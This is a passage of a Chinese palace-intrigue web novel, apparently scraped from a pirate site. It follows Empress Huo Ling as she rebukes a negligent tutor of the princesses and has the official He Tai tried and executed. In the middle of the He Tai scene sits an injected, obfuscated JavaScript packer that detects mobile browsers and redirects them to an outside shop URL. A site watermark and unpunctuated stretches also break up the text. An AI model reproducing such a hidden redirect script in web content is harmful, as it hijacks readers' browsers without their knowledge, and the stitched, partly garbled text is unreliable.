她一口气写了九副要不是景元帝叫停让她歇会儿再继续霍翎还能再多写几副。 在霍翎喝茶休息时景元帝站在她所写的春符前静静端详了片刻夸道:“阿翎的字迹愈发有神韵了。” 当天下午如文盛安、陆杭、柳国公这等重臣都收到了宫里赐下的两幅春符。 当听说一幅是赐给他们一幅是赐给他们的夫人他们还有些摸不着头脑。直到展开春符看见上面相似又不同的字迹时如陆杭这样的立刻就知道是什么情况了。 如文盛安、柳国公这种在怔愣片刻后也都猜到了原由不禁在心下嘀咕陛下是不是对皇后恩宠太过了连这种事情都让皇后跟着掺和进来。 不过皇后赏赐命妇本就是情理之中的事情。自家夫人得了皇后手书更是一份难得的体面。 看着自家夫人脸上的笑容听着家中女眷的羡慕声他们也就只能这么在心里嘀咕一下了。 作者有话要说 ps:在作话里说一下第五十三章结尾的剧情有个小小改动大家不需要回头去看我稍稍总结一下。 第五十三章的剧情是:承恩公上书弹劾礼部尚书陆杭要求削减立后大典的用度翎姐以退为进写了一道折子自请削减用度。 原版剧情里景元帝是同意了削减用度但把削减的都折换成聘礼补给翎姐了。 新版增加了一点翎姐和礼部尚书陆杭的剧情然后景元帝依旧保持了原本的章程压下了朝臣的异议。 这个处理结果会比原版更符合景元帝的人设。 第 57 章 自己的侄子都能进... 景元帝亲笔所书的春符,年年都会赏赐给朝中重臣。 每年能得到这份体面的朝臣,来来回回都是那些个,大家也都见怪不怪了。 但收到皇后娘娘题写的春符,还是第一次。 除了给朝中重臣的夫人赏赐了一份外,如靖国公夫人、季二夫人、邱鸿振夫人,都各得了一份。 这可把大家喜得不行。 最重要的不是这幅春符的价值,而是代表着皇后娘娘惦记她们啊。 等景元帝和霍翎忙完祭祀,靖国公夫人她们都寻到机会,进宫给霍翎请安。 说起春符,邱夫人道:“我家那位都舍不得把春符贴出去,说是皇后娘娘亲赠的,贴在外面风吹日晒,时间一长就磨损了。” 霍翎笑道:“春符本就是用来贴的,今年这一幅磨损了,来年本宫再赐下新的就是。” 邱夫人心下更是高兴:“臣妇也是这么说的。” 靖国公夫人与霍翎聊的,则是靖国公世子郑新觉和无锋。 戍守京师的军队,都统称为禁卫军,但在禁卫军内部又有细分。 像郑新觉和无锋,都同属于禁卫军四大营中的朱雀卫。 论职务,郑新觉比无锋要高不少,但懂得内情的人,都知道无锋是皇后娘娘亲信中的亲信。在无锋进入朱雀卫以后,郑新觉就有意与无锋交好。 这会儿无锋在朱雀卫里,已经做得有模有样。 霍翎听得高兴:“无锋那性子,本宫再了解不过了。他能这么快就适应朱雀卫里的环境,定然少不了郑世子平日的提点。” 能得皇后娘娘这句话,她儿子与无锋交好就完全不吃亏。靖国公夫人也是喜气洋洋。 季二夫人没什么旧交情可以和霍翎攀,不过季二夫人这回进宫,把她的三个孩子都带了过来。 三个孩子里,最大的大郎只有九岁,生得虎头虎脑。 最小的三郎今年四岁,穿着厚实的红色袄衣,头上戴着个虎头帽,长得白白胖胖,站在霍翎面前给她作揖拜年时,两只胳膊被衣服夹得险些合不起来,但还是努力行着礼,嘴里稚声稚气地说着吉祥话。 霍翎早就给三个孩子备好了见面礼。 大郎和三郎的见面礼差不多,只不过大郎已经启蒙,所以多了 套文房四宝;三郎年纪还小,文房四宝就换成了精巧的玩具。 但要说得到见面礼最多的,还是二娘子。 从文房四宝到绫罗绸缎,还有许多适合小姑娘戴的首饰。 霍翎将小姑娘招到自己面前,细细问了她的年纪,平时在家里都做些什么,读过什么书。 二娘子今年七岁,只读过《开蒙要训》、《三字经》这些启蒙的书籍。 霍翎挑了几句《三字经》里的话来考教她,小姑娘都回答得有模有样。 “看来是个喜欢念书的。 霍翎对季二夫人道:“二娘子与二公主年纪相仿,又都是亲戚,平日理应多亲近些。 “年后二公主要去天章阁念书,她身边还缺个伴读,若是夫人愿意,就让二娘子进宫来一起读书吧。 季二夫人没想到进宫还能有意外之喜,连忙谢恩。 一旁的靖国公夫人和邱夫人都有些羡慕,只恨家中没有年龄合适的孩子。家中能出一位公主伴读,这是对他们家风的认可。 霍翎留几人在凤仪宫用了午膳,又叫二公主和二娘子互相见了一面,这才让几人出宫。 回到肃亲王府,季二夫人让下人带走孩子,她先去找了丈夫,又和丈夫一起去找了公爹,将宫里之事一一道出。 肃亲王倚在榻上,双目紧闭,瘦削的脸上满是病容。许久,他才缓缓睁开眼睛,用病中沙哑的声音问:“你确定皇后娘娘说的是,二公主要去天章阁念书? 季二夫人应是。 别人不知道天章阁是什么地方,肃亲王自幼生活在宫中,还能不清楚吗。 在太 祖、太宗时期,只有储君才能进天章阁读书,后来逐渐放宽了要求,但也从来没有公主进天章阁的先例。 为什么呢? 因为从皇宫的规划图来看,天章阁所处的位置是在前朝,而非后宫。 让两位公主涉足前朝,但又不是让她们干涉朝政、对朝政发表意见,只是让她们去前朝念书…… 朝臣连反对都不好反对。 谁叫陛下只有这两个亲生女儿呢。 自己的侄子都能进天章阁念书,亲生女儿却不能进? 朝臣要是真跳出来反对,陛下该作何感想。 这 一步棋,当真巧妙啊。 肃亲王没把自己心里的想法告诉儿子和儿媳,只是道:“皇后娘娘让二娘子去当公主伴读,是二娘子的体面。” 季二夫人也是这么想的,不过她有些弄不明白的是:“我看娘娘对三郎不是太亲近。” 肃亲王道:“这才是皇后娘娘的高明之处。” 皇后娘娘才刚进宫,位置都还没彻底坐稳,她在这个时候就表现出了对三郎的亲近,除了引起端王府和柳国公府的警惕,什么都做不了。 但她让二娘子进宫,既能维系她与肃亲王府的关系,又不会引得端王府和柳国公府恐慌。 至于日后之事—— 陛下春秋鼎盛,倒不必急在一时。 *** 正如肃亲王想的那样,在听说季二夫人带着三个孩子进宫,给皇后娘娘请安时,不少人心里都很有些想法。 但很快,又有消息传出来,皇后娘娘将季家二娘子点为了公主伴读。 大家对季家三郎的关注,立刻转到了公主进天章阁念书这件事情上。 不过,不管大家心里在想什么,都不好说出来,更不可能进宫里劝诫帝后,打扰帝后过年的兴致。 霍翎与景元帝在宫里待到大年初三,就一起去了西郊山庄,直到大年初十才回宫。 出了元宵节,霍翎在皇宫的第一个春节就算过去了。 给公主挑选公主师的事情也提上了章程。 不出霍翎所料,陆杭这个老狐狸是第一个站出来,主动表示愿意担任公主老师的人。 另一位公主师,景元帝点了国子监祭酒。 与陆杭不同,国子监祭酒对于担任公主师一事,是很有些不乐意的。 这份不乐意,就体现在他给两位公主讲课时,几乎是完全照本宣科,也不管两位公主和伴读们听不听得懂,时不时就是一番引经据典、高谈阔论。 小姑娘们得了长辈的叮嘱,都在好好听课,但这国子监祭酒的课,她们是听得昏昏欲睡。 大公主性情温和,只当国子监祭酒喜欢这么上课,二公主却颇为不满:“他要是就这水平,还能当上国子监祭酒?那不是在误人子弟吗。” 国子监祭酒也是季渊晚的老师,二公主私底下找了季渊晚,好一通 旁敲侧击,问国子监祭酒平日里是怎么给季渊晚上课的。 季渊晚压根就没想到二公主是来套话的,一五一十都说了。 这国子监祭酒给季渊晚上课时,也时常引经据典,但显然比较照顾季渊晚,课程都是为季渊晚量身安排的,不会太超出季渊晚的理解范畴。 二公主气得回去找贤妃好一通告状。 贤妃安慰女儿:“这国子监祭酒是个老顽固,你与他计较什么。” 二公主不高兴母妃的态度:“母妃怎么和皇姐说得一样。要我说,这国子监祭酒不是老顽固,他是看不上我和皇姐。” 从母妃这里得不到支持,二公主越想越气,也不管这会儿天色已晚,带着自己的宫女就去了凤仪宫。 霍翎正在和景元帝一起用膳。 听说二公主来了,景元帝奇道:“怎么这会儿过来?” 霍翎说:“肯定是有急事。” 景元帝笑了下,也没说什么“小孩子怎么会有急事”这种扫兴话。 霍翎对一旁的崔弘益道:“快请二公主进来,再多添副碗筷,这个时辰过来,她应该还没来得及用东西。” 二公主原本就是憋着一股气才过来的,等她站在凤仪宫外,那股气已经消散了大半。 再被迎进殿内,看到正在用膳的霍翎和景元帝时,愤怒都被犹豫取代了。 “给父皇、母后请安。” “先来用膳吧。”景元帝对二公主道。 二公主乖乖走了过去。 等用过东西,霍翎没有直接问二公主为什么突然过来,而是关心起了她在天章阁上课的情况。 二公主再聪明也是个小孩子,说着说着,就把国子监祭酒的区别对待全都抖了出来。 景元帝眉心微蹙,心中很有些不虞。 霍翎却笑道:“原来是为这件事情。莫恼,明日母后就为你们出气。” “这个国子监祭酒不愿意好好教你们,是他的损失,过几日就让你父皇再为你们重新择选一个公主师。” 霍翎将话抛给景元帝,景元帝也保证这回会好好挑选。 二公主这才喜笑颜开,也不再打扰霍翎和景元帝,心满意足地离开凤仪宫。 在女儿面前,景元帝不好表现出愤怒,在 霍翎面前他就没有这个顾虑了:“这个江祭酒朕下旨时他应得痛快没想到却给朕玩了这么一手。” 霍翎对于这种看不清形势的蠢货是没有什么好感的。 这种人未必就是效忠端王和柳国公府但他们天然觉得男孩才应该接受更正统的教导。 他们不会站出来直接忤逆景元帝的旨意却不肯在教导公主一事上尽心。明明有十分的才能却吝啬使用。 “臣妾倒是有一计治他就是稍显逾矩。” 景元帝问:“什么计策?” 霍翎将计策一说景元帝想了想道:“你是皇后不满臣子对公主的教导下一道懿旨斥责臣子也是无妨的。” “那就需要陛下与臣妾配合一番了。” 得了景元帝的同意翌日一早霍翎写了一道懿旨盖上凤印让崔弘益往国子监走一趟。 江祭酒听说宫里来了内侍还以为是景元帝有什么吩咐。 结果刚一跪下看到崔弘益从怀里掏出懿旨脸色就很有些不好看了。 崔弘益才不管他的脸色好不好看当即开始宣旨。 听清懿旨的内容后江祭酒的脸色难看到恨不得当场晕过去。 这道懿旨也没说别的就是说江祭酒在公主师一职上不称职不能教好公主。 正好公主还没对江祭酒行过拜师礼就不劳烦江祭酒教导公主了她会为两位公主另请高明。 真的江祭酒宁愿霍皇后在懿旨里狠狠骂他一顿都好过如此不轻不重的话语。 他可是国子监祭酒啊负责的就是教导和管理国子监里的学子。 结果这会儿霍皇后直接下了道懿旨斥责他这个公主师不称职。 连两个不到十岁的孩子都教导不好他还有何颜面执掌国子监? “祭酒大人请接旨吧。” 崔弘益笑眯眯地看着江祭酒。 江祭酒脸色灰败 等崔弘益离开以后一位下属过来扶起江祭酒:“大人您怎么了?” 江祭酒唇角泛苦却也没说什么回屋写了一道折子表示自己不能胜任公主师一职也无颜继续教导大公子和国子监的学子 ,上书请辞国子监祭酒一职。 京中几大衙门都在一条巷子里,霍翎这道懿旨也没避着旁人,很快,这件事情就传到了御史台的耳朵里。 御史台都是些什么人啊,他们拥有风闻奏事的权力,也就是说,即使他们没有确切的证据,也拿不出什么确切的证据,只凭道听途说就能参奏一本。 更别说如今不是风闻,而是确有其事。 皇后的懿旨,凭什么直接颁给朝臣。更别提这道懿旨,还逼得国子监祭酒上书请辞。 一旦开了这种先河,皇后现在可以逼走国子监祭酒,以后也可以逼走其他臣子。 还没等御史们商量出个对策,宫里又有消息传出来,景元帝驳回了江祭酒的请辞,还说公主师一事是公主师一事,国子监祭酒一事是国子监祭酒一事,两者不可混为一谈。 霍翎也给江祭酒的夫人和女儿赏了些东西,说是念在江祭酒劳苦功高的份上,特意厚赐他的家眷。 这一套操作下来,直接把御史们整不会了。 江祭酒本人的心情也是十分复杂,看着夫人和女儿兴高采烈的样子,掩面一叹。 余光扫见江祭酒的表情,江夫人让女儿和下人都退下,细问了事情经过。 当得知江祭酒都做了什么后,江夫人狠狠翻了个白眼,一点儿都不同情自己的丈夫。 “你也真是的,既然是同时给大公子和两位公主讲课,怎么还分出了个三六九等呢,难道两位公主的身份不比大公子尊贵? 江祭酒叹气:“我……唉,我,我就是脑子一下子没转过弯来。 江夫人怒道:“要我说,你就是读书读迂腐了,光顾着什么男女之别,忘了还有尊卑之分。 江祭酒揉了揉额头,连忙转移话题:“现在陛下和皇后娘娘不同意我的请辞,倒是让我不知该如何是好了。 江夫人也为丈夫发愁:“不如这样,明日我往宫里递个帖子,进宫给娘娘请安,试探一下娘娘的心意。 此事的症结,还是在皇后娘娘那里。 江夫人这帖子递得快,宫里的回应也快,第三天上午,江夫人带着女儿进宫给霍翎请安。 霍翎对江夫人的态度很温和,听说江夫人出身江南,还与江夫人说了说江南的美景和吃食 。 与江夫人聊过以后,霍翎的目光顺势看向江家 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等到江夫人和女儿离开皇宫时,霍翎又额外给江家大娘子赏赐了一套文房四宝,让她回去收拾些东西,后日就会有人接她进宫念书。 “伴读们都是和公主住在一起的。” “宫里不缺伺候的人,也不缺吃穿用度,你们收拾些用得惯的东西带进来,其余的,都有内务府为你们安排。” “每旬都能放一次假,到时宫里也会安排人将大娘子送回江府,让你们一家团聚。” 种种安排,细致又妥帖,要人挑不出一丝毛病。 江祭酒今天特意请了半天假,在家中苦苦等候,终于等回了母女两。 瞧着妻女高高兴兴的神情,江祭酒长舒一口气,才问起宫里的事情。 江夫人挥退下人,赶紧把宫里的事情都说了,这才问道:“你说说,娘娘这是什么意思。” 前脚斥责江祭酒不堪为公主师,后脚却将江家大娘子点为公主伴读。 这……这实在是让江夫人看不明白。 “什么意思?” 这件事情,江祭酒是终于看明白了。 他苦笑: “皇后娘娘这是恩威并施。” 先是用一道懿旨来斥责他让他不得不上书辞去国子监祭酒一职。 要是帝后顺理成章地同意了他的请辞怕是会引得朝臣对皇后的不满。 所以陛下驳回了他的请辞。 随后皇后娘娘又将他家大娘子选为公主伴读。 这一举动说明皇后娘娘只是单纯不满他给公主讲课时的表现而不是否定了江家的教养。 如此一来就保留了他的几分颜面让他得以继续执掌国子监。 从头到尾 鹅小说的域名qiexs▊(请来企 鹅小说 看最新章节 完整章节)皇后娘娘只下了一道懿旨又见了江夫人和江家大娘子一面。顶多就是付出了一个公主伴读的位置。 江夫人确认道:“那大娘子进宫当伴读应该没问题吧。” 江祭酒说:“没问题让大娘子去吧。皇后娘娘不会为难她一个小姑娘的。” 江夫人无语皇后娘娘这等尊贵气派之人当然没必要自降身份为难一个小姑娘。她担心的是:“你得罪了两位公主大娘子这么进宫真的没问题吗?” 江祭酒石化下意识想说他什么时候得罪两位公主了但想到那道懿旨嘴角动了几下:“我就是讲课的时候咬文嚼字了些。我平时在国子监讲课都是这样的。” 江夫人问:“那你平时给大公子讲课也是这样?” 江祭酒不吭声了。 江夫人苦口婆心:“要我说你给两位公主赔个不是吧。就当是为了咱家大娘子。” 江祭酒:“……” 被江夫人一通劝说江祭酒最终还是屈服了:“你让大娘子为我带句话。” “那不成太没诚意了。”江夫人说“你不是还要去天章阁给大公子讲课吗顺便给两位公主道个歉。” 看江祭酒那磨磨唧唧的样子江夫人就来气。 “你到了两位公主面前可别还是这副模样。” “要是惹恼了两位公主皇后娘娘再给你下一道懿旨我看你还有没有脸在京师待下去。” 听到“皇后娘娘”四字江祭酒终于是彻底清醒了:“行。我知道了。” 江祭酒摆正了自己的态度以后就老老实实给两位公主道了歉。 二公主满意地挥挥手:“您早这样不就 行了吗,还累得我去打扰父皇和母后。 江祭酒吐血,原来还真是您告的状啊。 关键是您告状就算了,居然还大咧咧说了出来。 但对着这样一个比他女儿还小的小公主,江祭酒也只能是苦笑了。 不过江祭酒这边给两位公主道了歉,那一边,季渊晚却也向江祭酒道了歉。 “二皇姐那天来找我打听老师的事情,我没多想,就跟二皇姐说了,所以她才会这么生气。 江祭酒叹了口气:“大公子不必道歉,这不是你的错。 归根结底,还是他没有摆正自己的态度,怨不得旁人。 看了看小小年纪就颇为沉稳的季渊晚,又想到那位手段高明的年轻皇后,江祭酒做了个决定:过继嗣子一事,他是万万不能掺和进去的。 端王一系势大,那位皇后娘娘,也绝不是个好相与的。 宁可不站队,将来沾不到光,也好过站错队。 *** 出了正月,冰雪消融,万物复苏,凤仪宫外的垂丝海棠重新焕发勃勃生机。 霍翎这会儿正在宫殿里接见陈大夫。 陈大夫是在元宵节前后收到无墨来信的。他几乎没怎么犹豫,收拾好东西就带着家眷进京了。 抵达京城后,他按照信上说的,找到了郡君府。 郡君府那边,霍翎是留了一些人手的,所以霍翎一得到消息就召见了陈大夫。 陈大夫真心实意道:“草民多谢娘娘栽培。 他的医术,放在燕西还算不错,但放到人才济济的太医院,就根本不够看了。 要不是皇后娘娘想到了他,也愿意给他一个机会,凭他自己,是绝对挤不进太医院的。 霍翎道:“本宫与陈大夫相交于微末之时,如今不过是举手之劳。只要陈大夫能在太医院好好当差,就不枉费本宫一番心思了。又问陈大夫现在住哪里,有没有带家眷进京。 陈大夫听得愈发感动。 叙了叙交情,霍翎让崔弘益将陈大夫送去太医院,妥善安排好陈大夫。 陈大夫这步棋,对霍翎来说暂时只是一步闲棋,短时间内还用不上,所以等崔弘益带着陈大夫离开后,霍翎就将这件事放到了一边,开始处理宫务。 第 58 章 因何泰罪大恶极,... 江祭酒一事,让朝中众人看了好一通热闹。 其实对于江祭酒的做法,众人还是比较理解的。 江祭酒这人吧,常年埋头在书堆里做学问,行事素有几分迂腐和清高。 当初陛下要立霍皇后为后,江祭酒就上过反对的折子;承恩公上书请求削减立后大典的用度,江祭酒也曾出列附议。 对于两位公主要去天章阁念书一事,他当然也是保持了自己一贯的发挥,打从心底里不支持。 只是由于种种原因,他不好将这种反对的态度表达出来,心里多少还是带了点儿情绪。 在给公主们上课时,他就难免将这种情绪带了出来。 当然,理解归理解,对于江祭酒的遭遇,同情的人真没几个。 更多的人,是从江祭酒的遭遇里,领略到了霍皇后的手段。 上位者手握生杀予夺的权力,想要惩治一个不合心意的下臣,是一件再简单不过的事情。 真正困难的是,如何通过惩治,让下臣心服,让旁观者敬畏。 霍皇后做到了。 在这件事情里,江祭酒表现得愚蠢吗? 确实很愚蠢。 同时教导大公子和两位公主,居然还表现出了两幅面孔,也不怪二公主生气。 但是,能够准确把握住这一破绽,以雷霆手段拿捏住江祭酒的人,又有几个? 如陆杭这样,与霍翎接触过几次的老狐狸,看得远比一般人要深。 同朝为官,陆杭还是比较熟悉江祭酒的。 他相信,只要多给江祭酒一些时间,江祭酒是能够调整好心态的。但二公主告状告得太及时了。 但仔细斟酌后,陆杭又摇了摇头:或许,对霍皇后来说,二公主的告状,才是真正的意外。 江祭酒是个什么性格,在朝中发表过什么言论,有怎样的政治主张,都不难打听。 只要结合他过往的行事,就不难猜到他在教导公主一事上可能会有的反应。 就算二公主没有主动去找霍皇后告状,霍皇后也可以主动询问两位公主在天章阁的上课情况。 除非江祭酒突然改变自己的性格和行事,没有露出一点儿破绽,不然,霍皇后总能寻到机会。 *** 有过江祭酒的前车之鉴,这回景元帝挑选公主师时就更慎重了几分。 还没等景元帝选出满意的人选,霍翎就先举荐了一人。 “清河崔氏的崔原,如今在翰林院任职,陛下不妨问问他。 崔原与霍翎也算有些交情,当初去行宫时,崔原还曾对霍翎表露出了好感。后来知道霍翎要进宫,崔原就主动保持了距离。 两位公主年纪还小,以崔原的学识见解,足够教导好她们了。 景元帝对崔原也有些印象。 每隔几天景元帝都会召见一位翰林学士,让他们为他讲经。崔原也是来过几次的。 “他的课,确实讲得不错。 明日就是翰林学士进宫讲经的日子,景元帝直接点了崔原进宫。 按照正常轮值,明日原不该是崔原,但陛下有召,崔原不敢怠慢。 等崔原讲完经,景元帝才问他愿不愿意担任公主师。 崔原心中惊讶,面上却毫不含糊,当即谢恩。 这一番表现,看得景元帝很是满意。 有过江祭酒的前车之鉴,只要是脑子清醒的人,都会好好给公主上课。崔原不仅脑子清醒,还是个聪明人,花了十二分心思备课,将史书讲得妙趣横生,各种典故信手拈来,却又不会让人觉得掉了书脑袋。 “崔学士比江祭酒厉害多了。 去凤仪宫给霍翎请安时,二公主兴致勃勃道:“母后,我觉得国子监祭酒的位置应该让给崔学士来做。 大公主摇头:“崔学士是很厉害,就是太年轻了,国子监祭酒得找那种有胡子的,胡子越白越好的来当。 二公主问:“为什么? 大公主说:“看着就有学问啊。 “但是江祭酒的胡子也不白啊。二公主觉得大公主说得有道理,“我每次生病,我母妃都喜欢找胡太医给我看病。他就是太医院里胡子最白的。 霍翎在旁边听得一乐,无墨、尚岚等近身伺候的人也都笑了。 景元帝迈进凤仪宫时,正好听到一片笑声,细问过后,也不由一笑:“父皇也喜欢找胡太医。 二公主道:“哎呦,那父皇之前怎么给我们选了江祭酒啊。 大公主连忙扯了下妹妹。怎么能 这么和父皇说话呢。 孩子间的动作瞒不住人,景元帝温声道:“下回让你母后来,崔学士就是她为你们选的。 二公主扭头去看大公主,刚想问大公主为什么扯她,就听到了景元帝这话,连忙道:“我和皇姐的伴读也是母后选的。 霍翎顺势问道:“那你们这些天和伴读相处得怎么样。 等两个孩子离开以后,霍翎和景元帝一起在庭院里散步。 景元帝道:“这两个孩子的性情相差很大。 霍翎道:“各人有各人的性情。大公主内秀,二公主活泼,都是极好的孩子。 景元帝觉得她评价得很到位:“朕看她们都很喜欢你。 长廊的宫灯洒下暖黄色微光,霍翎望向景元帝:“可见,都是随了陛下。 景元帝失笑,也不想继续散步了,带着霍翎去浴池沐浴。 *** 朝堂中的聪明人不少,但如陆杭这般的老狐狸终究还是少数。 更多的人都没陆杭看得远、想得深。 所以他们一边心惊于霍皇后举重若轻的政治手腕,一边又在暗自感慨:霍皇后的行事风格与陛下颇有相似之处。 拥有雷霆手段,却没有赶尽杀绝,放了江祭酒一马,让江祭酒轻松过了这一关。 不过很快,朝臣对霍翎的印象,就彻底颠覆了。 因为就在几日后的大朝会上,几乎没什么存在感的京兆尹邱鸿振突然出列,上书弹劾何泰。 折子里,何泰桩桩罪行触目惊心。 强抢民女,兼并良田,克扣军饷…… 侵吞将士抚恤金,用劣马来替换军中良马,瞒报榷场交易数额…… 倒数第二条罪行,是何泰谋害霍世鸣,导致原本可以平安撤出战场的霍世鸣重伤昏迷。 最后一条罪行,则是何泰指使自己的侍卫队长,谋害彼时还是襄安郡君的霍皇后。 景元帝当朝震怒,要求邱鸿振审理何泰一案,给天下人一个交代。 所有人都震惊了。 邱鸿振从来没有隐瞒过自己和霍皇后的交情,所以大家都知道邱鸿振是霍皇后的人。 霍皇后和何泰之间的恩怨,只要消息稍微灵通一些的人都听说过,但何泰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063693|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被关进牢房 大半年都没什么动静他们还以为这件事情就算是揭过去了。 结果原来这大半年没有动静是因为邱鸿振需要时间去网罗何泰的罪证啊! 但是在震惊过后没有人出列为何泰求情。 即使是何家和承恩公也都在这件事情上保持了极致的沉默。 一派沉默之中京兆府依照章程审理了何泰一案 前前后后不过三天何泰就伏诛了。 在何泰明正典刑的次日邱鸿振成功摘掉了自己官职前的那个“权”字彻底坐稳了京兆尹一职。 所有人这才意识到霍皇后与陛下根本不是同一类人。 她愿意放过江祭酒是因为江祭酒与她之间没有深仇大恨。 但是如果真正得罪了她即使中间隔了很长的时间即使两方的地位早已悬殊她也要取走何泰的命。 没有人敢在明面上置喙此事私底下却都议论纷纷。 肃亲王府肃亲王和两个儿子聊起此事:“何家和承恩公应该悔得肠子都青了吧。” 为了一个早已废掉的何泰惹上霍皇后这样的敌人实在是得不偿失。 要是何泰被保下来了那还能勉强安慰一下自己。 结果他们把霍皇后得罪了人也没能保下来这可真是…… 江府江祭酒握着自家夫人的手满脸唏嘘:“还好我进宫里给两位公主道歉了。” 江夫人:“……我记得你当初很反对立后。” 江祭酒后背冷汗直流但转念一想镇定下来用手帕来回擦拭额头嘴里念叨道:“不会的不会的当时上折子反对立后、削减立后大典的臣子那么多我算什么皇后娘娘怎么可能单独注意到我。” 陆府陆杭也在和自家夫人发表感慨:“从此以后敢正面与霍皇后起冲突的人怕是不多了。” 陆夫人疑惑:“这是为何?” “因为她太年轻了。” 朝中重臣里如陆杭、文盛安这样的都年过五十;柳国公年近六十;肃亲王六十余岁已经缠绵病榻两年说不定什么时候就撒手人寰。 即使是比较年轻的江祭酒也都有三十五六了。 而霍皇后 呢。 她不仅有出色的政治才能,还拥有漫长的岁月。 他们大多数人的政治生涯已经望到了头,她却正如旭日东升。 他们可以对付得了霍皇后,可以想办法暂时压制她的势头。 但他们的儿子、孙子呢。 文府,文盛安自酌一杯,轻声感慨:“陛下这个皇后,选得太好了。 大家为什么要争相上端王府和柳国公府的船,除了为自己谋算外,更多的,还是在为家族晚辈谋算。 原本朝廷的局势还是比较明朗的,大家想图从龙之功的话,只有一条路可走。 随着霍皇后入主中宫,局势又变得复杂起来。 在这种情况下,除了那些早就上了船下不来的,还有几个人敢轻易押上身家性命。 两不得罪,明哲保身,也不失为眼下最好的选择。 柳国公府,柳国公紧闭双眼,心中泛起一丝淡淡的寒意。 何泰被处死的时机,实在是太合适了。 这到底是个巧合,还是帝后有意为之? 想到邱鸿振罗列的那些罪证,柳国公摒弃侥幸,知道这必是帝后有意为之。 作者有话要说 第 59 章 两种方式组合在一... 柳国公猜得没错,何泰死在这个节骨眼上,确实是霍翎和景元帝有意为之。 何泰的结局早已注定,但同样都是死,可以让他死得更有价值一些。毕竟何泰的身份还是很好用的。 自从邱鸿振上任以后,就一直按照霍翎的吩咐,沿着霍世鸣查到的线索继续往下追查。 为了让霍翎知道他的努力,邱鸿振每个月都会给霍翎呈上一道密折,将自己新查到的东西罗列其上。 依着邱鸿振的意思,光是“用劣马替换军中良马”一项罪名,何泰就死得不冤。 但看霍翎没有出声叫停,邱鸿振就继续查。 这一查,就查到了二公主去凤仪宫告状,江祭酒被斥责。 江祭酒一事,看热闹的人很多。邱鸿振也是其中之一。 结果看着看着,宫里就来了人,告诉他是时候审理何泰一案了。 …… 如果江祭酒一事和何泰一案不是只隔了几天,而是隔上一两个月,朝臣们还不会有太大的联想。 但是,两件事情前后脚挨着,真觉得是巧合,那就是在自欺欺人了。 江祭酒一事,他们领略到的,是霍皇后的手腕;何泰一案,他们感受到的,是霍皇后的决心。 她在用这种方式,让朝臣看到她的行事风格。 景元帝的执政风格是温和的,他不屑于赶尽杀绝。 得罪了他,顶多就是贬官流放。 但霍翎不是。 得罪了她,江祭酒与何泰就是前车之鉴。 那些早已习惯了景元帝的温和,摸透了景元帝的行事,以至于有些得寸进尺的朝臣,在这样的暴力碾压下,一下子就安分了。 当然,这并不是说霍翎的手段就高于景元帝。 事实上,以强权暴力构筑起来的执政方式,并不优于温和强大的执政方式。 甚至可以说,想要长久稳定的治理天下,后者才是煌煌大道。 因为前者所催生出来的,更多是恐惧。 但是,当两种方式组合在一起,恰好一奇一正,相辅相成。 有景元帝稳定朝堂,按压下一些不配合的反对声音,霍翎才能将自己的行事风格发挥得淋漓尽致。 原本嘈杂不休的朝堂,瞬间陷入了 诡异的平静中。 没有人再上蹿下跳也没有人敢在这个关头站队到季渊晚那边所有人都老老实实待在自己的位置上本本分分完成自己的职责像鹌鹑一样缩着脖子不敢冒头。 在没有新的变数出现之前这种情况估计会持续很长一段时间。 而这正是景元帝想要看到的结果。 新的一场大朝会上景元帝坐在上首隔着冕旒望着下方井然有序的朝臣微微一笑。 等散了朝李满依照往常的习惯询问道:“陛下是要直接去御书房批阅折子吗?” “不。”这回景元帝改变了心意“去凤仪宫。” 凤仪宫里霍翎处理好了今天的宫务正坐在书房窗边翻看一沓书稿。 明媚的春光从半开的窗扉倾泻而入空气中跃动着细碎的尘埃霍翎刚要再翻过一页突然听到“咚——咚——”敲击窗户的声音。 她疑惑抬眼从窗缝间看到那熟悉的玄色衣袍唇角一弯身子前倾 随着窗户被彻底推上去春光一拥而入景元帝隔窗与霍翎对望。 “出来?” 霍翎放下手里的书稿推门走出书房。 景元帝也从窗户绕了过来此时正站在门边候着她。 “陛下怎么这个时辰过来了?”霍翎问。 景元帝伸出背在身后的手将一朵初开的垂丝海棠别到霍翎右边鬓角:“刚结束大朝会朕想来看看你恰好瞧见院中的海棠花开了。” 刚从枝头摘下的垂丝海棠娇艳欲滴。 霍翎今日正好穿了件浅色宫装颜色与海棠花正相衬。柔顺的墨色长发用簪子盘起只在鬓角留了少许碎发风一吹过鬓边碎发与海棠花瓣一同轻颤。 霍翎抬手轻抚鬓边花朝景元帝绽放一个笑容。 在这样明艳的笑容里景元帝竟生出了难得的局促。 霍翎的笑容渐渐变得促狭往前一步踮起脚嘴唇贴着景元帝耳畔视线却在望着景元帝:“陛下好看吗?” 景元帝抬手轻轻钳制住霍翎的下颚又噙住了她的唇在她喘不上气示意他退开后才笑答:“好看。” 霍翎瞪他那眼神却没什么威力倒更像是虚张 声势。 被吻得艳红的唇上,正贴着一缕湿润的黑色碎发。景元帝用指腹,极轻极慢,为她拨开那缕长发:“想不想知道处死何泰后朝臣的反应? 霍翎的注意力原本完全跟着景元帝的动作走,听到这话,顿时被转移了注意力:“陛下别急着说,先让臣妾猜猜。 聊到正事,景元帝也不再闹她了:“那你先说。 霍翎牵着景元帝去了秋千架:“陛下一下大朝会,就过来凤仪宫,想来心里很高兴。臣妾猜,那些大臣今天肯定表现得很乖顺。 景元帝颔首:“不错。 霍翎坐到秋千上,下巴微抬,露出小小的得意之色:“那这一回,陛下要怎么赏赐臣妾? 景元帝耐心十足:“想要什么赏赐? 霍翎主动开口向景元帝讨的赏,从来都是些无关痛痒的东西,这一回自然也不例外。她认真思索了下,终于想到了一个合适的赏赐。 “方才陛下过来的时候,臣妾正在书房里重新翻看何泰的罪证。他有一条罪名,是用劣马来替换军中良马。 “邱鸿振曾对臣妾说,光是这项罪名,何泰就死不足惜。 景元帝安静听了片刻,开口道:“你是不明白这项罪名为什么会这么严重? 